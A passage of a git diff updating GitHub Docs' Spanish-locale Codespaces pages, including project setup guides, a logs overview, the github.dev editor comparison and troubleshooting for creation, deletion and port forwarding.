toast](/assets/images/help/codespaces/codespaces-port-toast.png) + ![Port forwarding "toast" notification](/assets/images/help/codespaces/codespaces-port-toast.png) ## Step 5: Commit your changes diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md index 42190cf5be..b46287cc47 100644 --- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md @@ -3,7 +3,6 @@ title: Setting up your Node.js project for GitHub Codespaces allowTitleToDifferFromFilename: true shortTitle: Setting up your Node.js project intro: 'Get started with your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -23,7 +22,7 @@ hidden: true ## Introduction -This guide shows you how to set up your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_github_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. +This guide shows you how to set up your JavaScript, Node.js, or TypeScript project {% data reusables.codespaces.setting-up-project-intro %} ### Prerequisites @@ -32,20 +31,17 @@ This guide shows you how to set up your JavaScript, Node.js, or TypeScript proje ## Step 1: Open your project in a codespace -1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click **Create codespace on main**. +1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** dropdown menu, and in the **Codespaces** tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}). ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) - If you don’t see this option, {% data variables.product.prodname_github_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_github_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-github-codespaces) for more information. - - When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano. {% data reusables.codespaces.customize-vcpus-and-ram %} ## Step 2: Add a dev container configuration to your repository from a template -The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} will support running Node.js projects like [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) out of the box. However, we recommend that you configure your own dev container, as this allows you to define any particular tools and scripts your project needs. This will ensure a fully reproducible environment for all GitHub Codespaces users in your repository. +The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} will support running Node.js projects like [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) out of the box. However, we recommend that you configure your own dev container, as this allows you to define any particular tools and scripts your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository. {% data reusables.codespaces.setup-custom-devcontainer %} @@ -166,9 +162,9 @@ In the previous section, you used the `postCreateCommand` to installing a set of ![npm start in terminal](/assets/images/help/codespaces/codespaces-npmstart.png) -2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. +2. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, containing a prompt to connect to the port your project uses. - ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png) + ![Port forwarding "toast" notification](/assets/images/help/codespaces/codespaces-port-toast.png) ## Step 5: Commit your changes diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md index 364d894734..bf15b9427e 100644 --- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md @@ -3,7 +3,6 @@ title: Agregar un contenedor dev a tu repositorio shortTitle: Add a dev container to your repository allowTitleToDifferFromFilename: true intro: 'Inicia con tu proyecto de Node.js, Python, .NET o Java en {% data variables.product.prodname_codespaces %} creando un contenedor dev personalizado.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -15,11 +14,11 @@ topics: - JavaScript hasExperimentalAlternative: true interactive: true -ms.openlocfilehash: db32c529453f9f6fa341c056cb0b742053daadb4 -ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.openlocfilehash: 9cc2e1c13950c8ecdcaf923f949a1ac42772460a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/10/2022 -ms.locfileid: '145092480' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160305' --- diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md index 66c52ad29d..6b6e352488 100644 --- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md @@ -3,7 +3,6 @@ title: Setting up your Python project for GitHub Codespaces allowTitleToDifferFromFilename: true shortTitle: Setting up your Python project intro: 'Get started with your Python project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -20,7 +19,7 @@ hidden: true ## Introduction -This guide shows you how to set up your Python project in {% data variables.product.prodname_github_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. +This guide shows you how to set up your Python project {% data reusables.codespaces.setting-up-project-intro %} ### Prerequisites @@ -29,12 +28,10 @@ This guide shows you how to set up your Python project in {% data variables.prod ## Step 1: Open your project in a codespace -1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click **Create codespace on main**. +1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** dropdown menu, and in the **Codespaces** tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}). ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) - If you don’t see this option, {% data variables.product.prodname_github_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_github_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-github-codespaces) for more information. - When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano. {% data reusables.codespaces.customize-vcpus-and-ram %} @@ -192,9 +189,9 @@ In the previous section, you used the `postCreateCommand` to install a set of pa 1. Run your application by pressing `F5` or entering `python -m flask run` in the codespace terminal. -2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. +2. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, containing a prompt to connect to the port your project uses. - ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png) + ![Port forwarding "toast" notification](/assets/images/help/codespaces/python-port-forwarding.png) ## Step 5: Commit your changes diff --git a/translations/es-ES/content/codespaces/the-githubdev-web-based-editor.md b/translations/es-ES/content/codespaces/the-githubdev-web-based-editor.md index 5b85af4092..72cf9b447d 100644 --- a/translations/es-ES/content/codespaces/the-githubdev-web-based-editor.md +++ b/translations/es-ES/content/codespaces/the-githubdev-web-based-editor.md @@ -51,16 +51,16 @@ Both the {% data variables.product.prodname_serverless %} and {% data variables. || {% data variables.product.prodname_serverless %} | {% data variables.product.prodname_github_codespaces %}| |-|----------------|---------| -| **Cost** | Free. | Costs for compute and storage. For information on pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#github-codespaces-pricing)."| -| **Availability** | Available to everyone on GitHub.com. | Available for organizations using GitHub Team or GitHub Enterprise Cloud. | -| **Start up** | The {% data variables.product.prodname_serverless %} opens instantly with a key-press and you can start using it right away, without having to wait for additional configuration or installation. | When you create or resume a codespace, the codespace is assigned a VM and the container is configured based on the contents of a `devcontainer.json` file. This set up may take a few minutes to create the environment. For more information, see "[Creating a Codespace](/codespaces/developing-in-codespaces/creating-a-codespace)." | -| **Compute** | There is no associated compute, so you won’t be able to build and run your code or use the integrated terminal. | With {% data variables.product.prodname_github_codespaces %}, you get the power of dedicated VM on which you can run and debug your application.| +| **Cost** | Free. | Free monthly quota of usage for personal accounts. For information on pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#github-codespaces-pricing)."| +| **Availability** | Available to everyone on GitHub.com. | Available to everyone on GitHub.com. | +| **Start up** | The {% data variables.product.prodname_serverless %} opens instantly with a key-press and you can start using it right away, without having to wait for additional configuration or installation. | When you create or resume a codespace, the codespace is assigned a VM and the container is configured based on the contents of a `devcontainer.json` file. This set up may take a few minutes to create the environment. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)." | +| **Compute** | There is no associated compute, so you won’t be able to build and run your code or use the integrated terminal. | With {% data variables.product.prodname_github_codespaces %}, you get the power of a dedicated VM on which you can run and debug your application.| | **Terminal access** | None. | {% data variables.product.prodname_github_codespaces %} provides a common set of tools by default, meaning that you can use the Terminal exactly as you would in your local environment.| | **Extensions** | Only a subset of extensions that can run in the web will appear in the Extensions View and can be installed. For more information, see "[Using extensions](#using-extensions)."| With {% data variables.product.prodname_github_codespaces %}, you can use most extensions from the {% data variables.product.prodname_vscode_marketplace %}.| ### Continue working on {% data variables.product.prodname_codespaces %} -You can start your workflow in the {% data variables.product.prodname_serverless %} and continue working on a codespace, provided you have [access to {% data variables.product.prodname_github_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces). If you try to access the Run and Debug View or the Terminal, you'll be notified that they are not available in the {% data variables.product.prodname_serverless %}. +You can start your workflow in the {% data variables.product.prodname_serverless %} and continue working on a codespace. If you try to access the Run and Debug View or the Terminal, you'll be notified that they are not available in the {% data variables.product.prodname_serverless %}. To continue your work in a codespace, click **Continue Working on…** and select **Create New Codespace** to create a codespace on your current branch. Before you choose this option, you must commit any changes. diff --git a/translations/es-ES/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md b/translations/es-ES/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md index c17e6ae342..d8f3a8ecd5 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md +++ b/translations/es-ES/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md @@ -1,7 +1,6 @@ --- title: Exporting changes to a branch intro: This article provides steps for exporting your codespace changes to a branch. -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -13,15 +12,15 @@ shortTitle: Exporting changes ## Exporting changes to a branch -While using {% data variables.product.prodname_github_codespaces %}, you may want to export your changes to a branch without launching your codespace. +While using {% data variables.product.prodname_github_codespaces %}, you may want to export your changes to a branch without launching your codespace. This can be useful when you have hit a [spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) or have a general issue accessing your codespace. -This can be useful when you have hit a [spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) or have a general issue accessing your codespace. +If your codespace is unpublished (created from a template and not associated with a repository on {% data variables.product.product_name %}), then you won't be able to export changes to a branch, but you can publish the codespace to a new repository without launching the codespace. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-from-githubcom)." -To export your changes: +To export your changes to a branch: {% data reusables.codespaces.your-codespaces-procedure-step %} Or, for an individual repository, click the **{% octicon "code" aria-label="The code icon" %} Code** menu. 1. Click the ellipsis (**...**) to the right of the codespace you want to export from. -1. Select **{% octicon "git-branch" aria-label="The git branch icon" %} Export changes to branch**. +2. Select **{% octicon "git-branch" aria-label="The git branch icon" %} Export changes to branch**. ![Export changes to a branch](/assets/images/help/codespaces/export-changes-to-a-branch.png) diff --git a/translations/es-ES/content/codespaces/troubleshooting/github-codespaces-logs.md b/translations/es-ES/content/codespaces/troubleshooting/github-codespaces-logs.md index e284ac853a..e5acb48518 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/github-codespaces-logs.md +++ b/translations/es-ES/content/codespaces/troubleshooting/github-codespaces-logs.md @@ -1,7 +1,6 @@ --- title: GitHub Codespaces logs -intro: 'Overview of the logging locations used by {% data variables.product.prodname_github_codespaces %}.' -product: '{% data reusables.gated-features.codespaces %}' +intro: 'Overview of the logs used by {% data variables.product.prodname_github_codespaces %}.' versions: fpt: '*' ghec: '*' @@ -14,19 +13,55 @@ redirect_from: - /codespaces/troubleshooting/codespaces-logs --- +{% jetbrains %} -Information on {% data variables.product.prodname_github_codespaces %} is output to three different logs: +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +Information on {% data variables.product.prodname_github_codespaces %} is output to various logs: + +{% webui %} - Codespace logs - Creation logs -- Extension logs ({% data variables.product.prodname_vscode %} desktop) or Browser console logs ({% data variables.product.prodname_vscode %} in the web) +- Browser console logs (for the {% data variables.product.prodname_vscode_shortname %} web client) -## Codespace logs +Extension logs are available if you are using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %}. Click the "{% data variables.product.prodname_vscode %}" tab above for details. -These logs contain detailed information about the codespace, the container, the session, and the {% data variables.product.prodname_vscode %} environment. They are useful for diagnosing connection issues and other unexpected behavior. For example, the codespace freezes but the "Reload Windows" option unfreezes it for a few minutes, or you are randomly disconnected from the codespace but able to reconnect immediately. +{% endwebui %} + +{% vscode %} + +- Codespace logs +- Creation logs +- Extension logs (for the {% data variables.product.prodname_vscode_shortname %} desktop application) + +Browser logs are available if you are using {% data variables.product.prodname_github_codespaces %} in your browser. Click the "Web browser" tab above for details. + +{% endvscode %} + +{% cli %} + +- Codespace logs +- Creation logs + +Other logs are available if you are using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %} or in your web browser. Click the tabs above for details. + +{% endcli %} + +{% jetbrains %} + +- Creation logs + +Other logs are available if you are using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %} or in your web browser. Click the tabs above for details. + +{% endjetbrains %} {% webui %} +{% data reusables.codespaces.codespace-logs %} + 1. If you are using {% data variables.product.prodname_github_codespaces %} in the browser, ensure that you are connected to the codespace you want to debug. 1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (Shift+Command+P (Mac) / Ctrl+Shift+P (Windows/Linux)) and type **Export logs**. Select **Codespaces: Export Logs** from the list to download the logs. 1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web). @@ -36,6 +71,8 @@ These logs contain detailed information about the codespace, the container, the {% vscode %} +{% data reusables.codespaces.codespace-logs %} + 1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (Shift+Command+P (Mac) / Ctrl+Shift+P (Windows/Linux)) and type **Export logs**. Select **Codespaces: Export Logs** from the list to download the logs. 1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web). @@ -43,7 +80,9 @@ These logs contain detailed information about the codespace, the container, the {% cli %} -Currently you can't use {% data variables.product.prodname_cli %} to access these logs. To access them, open your codespace in {% data variables.product.prodname_vscode %} or in a browser. +{% data reusables.codespaces.codespace-logs %} + +Currently you can't use {% data variables.product.prodname_cli %} to access these logs. To access them, open your codespace in {% data variables.product.prodname_vscode_shortname %} or in a browser. {% endcli %} @@ -51,7 +90,6 @@ Currently you can't use {% data variables.product.prodname_cli %} to access thes These logs contain information about the container, dev container, and their configuration. They are useful for debugging configuration and setup problems. - {% webui %} 1. Connect to the codespace you want to debug. @@ -89,20 +127,46 @@ gh codespace logs -c > /path/to/logs.txt {% endcli %} +{% vscode %} + ## Extension logs -These logs are available for {% data variables.product.prodname_vscode %} desktop users only. They are useful if it seems like the {% data variables.product.prodname_github_codespaces %} extension or {% data variables.product.prodname_vscode %} editor are having issues that prevent creation or connection. +These logs are available for {% data variables.product.prodname_vscode_shortname %} desktop users only. They are useful if it seems like the {% data variables.product.prodname_github_codespaces %} extension or {% data variables.product.prodname_vscode_shortname %} editor are having issues that prevent creation or connection. -1. In {% data variables.product.prodname_vscode %}, open the Command Palette. +1. In {% data variables.product.prodname_vscode_shortname %}, open the Command Palette. 1. Type **Logs** and select **Developer: Open Extension Logs Folder** from the list to open the extension log folder in your system's file explorer. -From this view, you can access logs generated by the various extensions that you use in {% data variables.product.prodname_vscode %}. You will see logs for GitHub Codespaces, GitHub Authentication, and Git, in addition to any other extensions you have enabled. +From this view, you can access logs generated by the various extensions that you use in {% data variables.product.prodname_vscode_shortname %}. You will see logs for {% data variables.product.prodname_github_codespaces %}, {% data variables.product.prodname_dotcom %} Authentication, and Git, in addition to any other extensions you have enabled. + +{% endvscode %} + +{% webui %} ## Browser console logs These logs are useful only if you want to debug problems with using {% data variables.product.prodname_github_codespaces %} in the browser. They are useful for debugging problems creating and connecting to {% data variables.product.prodname_github_codespaces %}. 1. In the browser window for the codespace you want to debug, open the developer tools window. -1. Display the "Console" tab and click **errors** in the left side bar to show only the errors. +1. Display the "Console" tab and click **errors** in the left sidebar to show only the errors. 1. In the log area on the right, right-click and select **Save as** to save a copy of the errors to your local machine. ![Save errors](/assets/images/help/codespaces/browser-console-log-save.png) + +{% endwebui %} + +{% jetbrains %} + +{% data reusables.codespaces.jetbrains-open-codespace-plugin %} +1. In the {% data variables.product.prodname_github_codespaces %} tool window, click the log icon. + + ![Screenshot of the log button](/assets/images/help/codespaces/jetbrains-plugin-icon-log.png) + +## JetBrains logs + +You can download logs for the remote JetBrains IDE and the local client application by going to the **Help** menu in the JetBrains client application and clicking **Collect Host and Client Logs**. + +{% endjetbrains %} + +## Further reading + +- "[Reviewing your organization's audit logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces)" +- "[Reviewing your security logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces)" \ No newline at end of file diff --git a/translations/es-ES/content/codespaces/troubleshooting/index.md b/translations/es-ES/content/codespaces/troubleshooting/index.md index d59754815c..2aeca351eb 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/index.md +++ b/translations/es-ES/content/codespaces/troubleshooting/index.md @@ -1,8 +1,7 @@ --- -title: Solucionar problemas en los Codespaces +title: Troubleshooting GitHub Codespaces shortTitle: Troubleshooting -product: '{% data reusables.gated-features.codespaces %}' -intro: 'Estas guías te proporcionan información para solucionar los problemas de {% data variables.product.prodname_github_codespaces %}' +intro: 'These guides provide information for troubleshooting {% data variables.product.prodname_github_codespaces %}' versions: fpt: '*' ghec: '*' @@ -19,13 +18,7 @@ children: - /troubleshooting-prebuilds - /troubleshooting-dotfiles-for-codespaces - /troubleshooting-port-forwarding-for-github-codespaces - - /troubleshooting-codespaces-clients + - /troubleshooting-github-codespaces-clients - /working-with-support-for-github-codespaces -ms.openlocfilehash: 2cb06e61a7998e1f084d9cb6b2e6dfdb212103f9 -ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: '147110878' --- diff --git a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md deleted file mode 100644 index 622668a4b2..0000000000 --- a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Troubleshooting GitHub Codespaces clients -allowTitleToDifferFromFilename: true -intro: 'You can use {% data variables.product.prodname_github_codespaces %} in your browser or through {% data variables.product.prodname_vscode %}. This article provides troubleshooting steps for common client issues.' -product: '{% data reusables.gated-features.codespaces %}' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces -shortTitle: Codespaces clients ---- - -## {% data variables.product.prodname_vscode %} troubleshooting - -When you connect a desktop version of {% data variables.product.prodname_vscode %} to a codespace, you will notice few differences compared with working in a normal workspace but the experience will be fairly similar. - -When you open a codespace in your browser using {% data variables.product.prodname_vscode %} in the web, you will notice more differences. For example, some key bindings will be different or missing, and some extensions may behave differently. For a summary, see: "[Known limitations and adaptions](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" in the {% data variables.product.prodname_vscode %} docs. - -You can check for known issues and log new issues with the {% data variables.product.prodname_vscode %} experience in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) repository. - -### {% data variables.product.prodname_vscode %} Insiders - -{% data variables.product.prodname_vscode %} Insiders is the most frequent release of {% data variables.product.prodname_vscode %}. It has all the latest features and bug fixes, but may also occasionally contain new issues that result in a broken build. - -If you are using an Insiders build and notice broken behavior, we recommend switching to {% data variables.product.prodname_vscode %} Stable and trying again. - -On the desktop version of {% data variables.product.prodname_vscode %}, you can switch to Stable by closing the {% data variables.product.prodname_vscode %} Insiders application, opening the {% data variables.product.prodname_vscode %} Stable application, and re-opening your codespace. - -On the web version of {% data variables.product.prodname_vscode %}, you can click {% octicon "gear" aria-label="The manage icon" %} in the bottom left of the editor and select **Switch to Stable Version...**. If the web version doesn't load or the {% octicon "gear" aria-label="The manage icon" %} icon isn't available, you can force switching to {% data variables.product.prodname_vscode %} Stable by appending `?vscodeChannel=stable` to your codespace URL and loading the codespace at that URL. - -If the problem isn't fixed in {% data variables.product.prodname_vscode %} Stable, please follow the above troubleshooting instructions. - -## Browser troubleshooting - -If you encounter issues using codespaces in a browser that is not Chromium-based, try switching to a Chromium-based browser, or check for known issues with your browser in the `microsoft/vscode` repository by searching for issues labeled with the name of your browser, such as [`firefox`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+label%3Afirefox) or [`safari`](https://github.com/Microsoft/vscode/issues?q=is%3Aopen+is%3Aissue+label%3Asafari). - -If you encounter issues using codespaces in a Chromium-based browser, you can check if you're experiencing another known issue with {% data variables.product.prodname_vscode %} in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues) repository. diff --git a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md index e029c962f6..e9c7c4560c 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md +++ b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md @@ -1,7 +1,6 @@ --- title: Troubleshooting creation and deletion of codespaces intro: 'This article provides troubleshooting steps for common issues you may experience when creating or deleting a codespace, including storage and configuration issues.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -14,11 +13,11 @@ shortTitle: Creation and deletion ## Creating codespaces ### No access to create a codespace -{% data variables.product.prodname_github_codespaces %} is not available for all repositories. If the "Open with Codespaces" button is missing, {% data variables.product.prodname_github_codespaces %} may not be available for that repository. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces)." +{% data variables.product.prodname_github_codespaces %} is not available for all repositories. If the options for creating a codespace are not displayed, {% data variables.product.prodname_github_codespaces %} may not be available for that repository. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#access-to-codespaces)." -You can't create a codespace for a private repository that's owned by an organization, unless you have write access to the repository or the organization has enabled forking for it. +Provided you have remaining monthly included usage of {% data variables.product.prodname_github_codespaces %} on your personal account, or you have set up a payment method and a spending limit, you will be able to create codespaces for public repositories. However, you can only create a codespace for a private repository if you can push changes to the repository, or you can fork the repository. -If you believe your organization has [enabled {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#about-enabling-github-codespaces-for-your-organization), make sure that an organization owner or billing manager has set the spending limit for {% data variables.product.prodname_github_codespaces %}. For more information, see "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)." +For more information about included usage for personal accounts, and setting a spending limit, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)" and "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)." ### Codespace does not open when created @@ -60,13 +59,16 @@ If you create a codespace and the creation fails: ![Screenshot of VS Code with the Building codespace link emphasized](/assets/images/help/codespaces/vs-code-building-codespace.png) {% endnote %} -2. If you have a container that takes a long time to build, consider using prebuilds to speed up codespace creations. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)." +2. If you have a container that takes a long time to build, consider using prebuilds to speed up codespace creations. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)." ## Deleting codespaces -The owner of a codespace has full control over it and only they can delete their codespaces. You cannot delete a codespace created by another user. +A codespace can only be deleted by: +* The person who created the codespace. +* An organization owner for an organization-owned codespace. +* Automatic deletion at the end of a retention period. -You can delete your codespaces in the browser, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. {% data variables.product.prodname_cli %} also allows you to bulk delete codespaces. For more information, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)." +For more information, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)" and "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)." ## Container storage @@ -89,5 +91,6 @@ Some more destructive options: ``` This codespace is currently running in recovery mode due to a container error. ``` +Review the creation logs and update the dev container configuration as needed. For more information, see "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)." -Review the creation logs, update the dev container configuration as needed, and run **Codespaces: Rebuild Container** in the {% data variables.product.prodname_vscode_command_palette %} to retry. For more information, see "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)" and "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." +You can then try restarting the codespace, or rebuilding the container. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)." diff --git a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md index 2fd401d0d9..f62291e3a5 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md +++ b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md @@ -2,7 +2,6 @@ title: Solución de problemas de dotfiles para GitHub Codespaces allowTitleToDifferFromFilename: true intro: Pasos de solución de problemas para los problemas comunes con los dotfiles. -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -10,12 +9,12 @@ type: reference topics: - Codespaces shortTitle: Dotfiles -ms.openlocfilehash: c316909f66d88b0f4f1fe52d6740af9b1e0d4854 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.openlocfilehash: 699f790e45c71e685ac6b301e8dea1eca2ee6f15 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109964' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158689' --- Si tu codespace falla en tomar ajustes de configuración de dotfiles, debes trabajar con los siguientes pasos de depuración. diff --git a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md index 1c9b5cdff0..2264e6432e 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md @@ -1,7 +1,6 @@ --- -title: Solución de problemas de reenvío de puertos en GitHub Codespaces -intro: Pasos de solución de problemas para los problemas comunes del reenvío de puertos. -product: '{% data reusables.gated-features.codespaces %}' +title: Troubleshooting port forwarding for GitHub Codespaces +intro: Troubleshooting steps for common port forwarding issues. versions: fpt: '*' ghec: '*' @@ -11,22 +10,17 @@ topics: shortTitle: Port forwarding redirect_from: - /codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces -ms.openlocfilehash: e6ce1be59f9154f8c192bab215e68dd3dfdc5b6c -ms.sourcegitcommit: 43a959b8faf78d9c5b3deadffa079d24cd11650b -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 11/04/2022 -ms.locfileid: '148134765' --- -Cuando una aplicación que se ejecuta en un codespace genera un puerto para la consola, {% data variables.product.prodname_github_codespaces %} detecta el patrón de la dirección URL del host local y reenvía el puerto automáticamente. Para obtener más información, consulta "[Reenvío de puertos en el 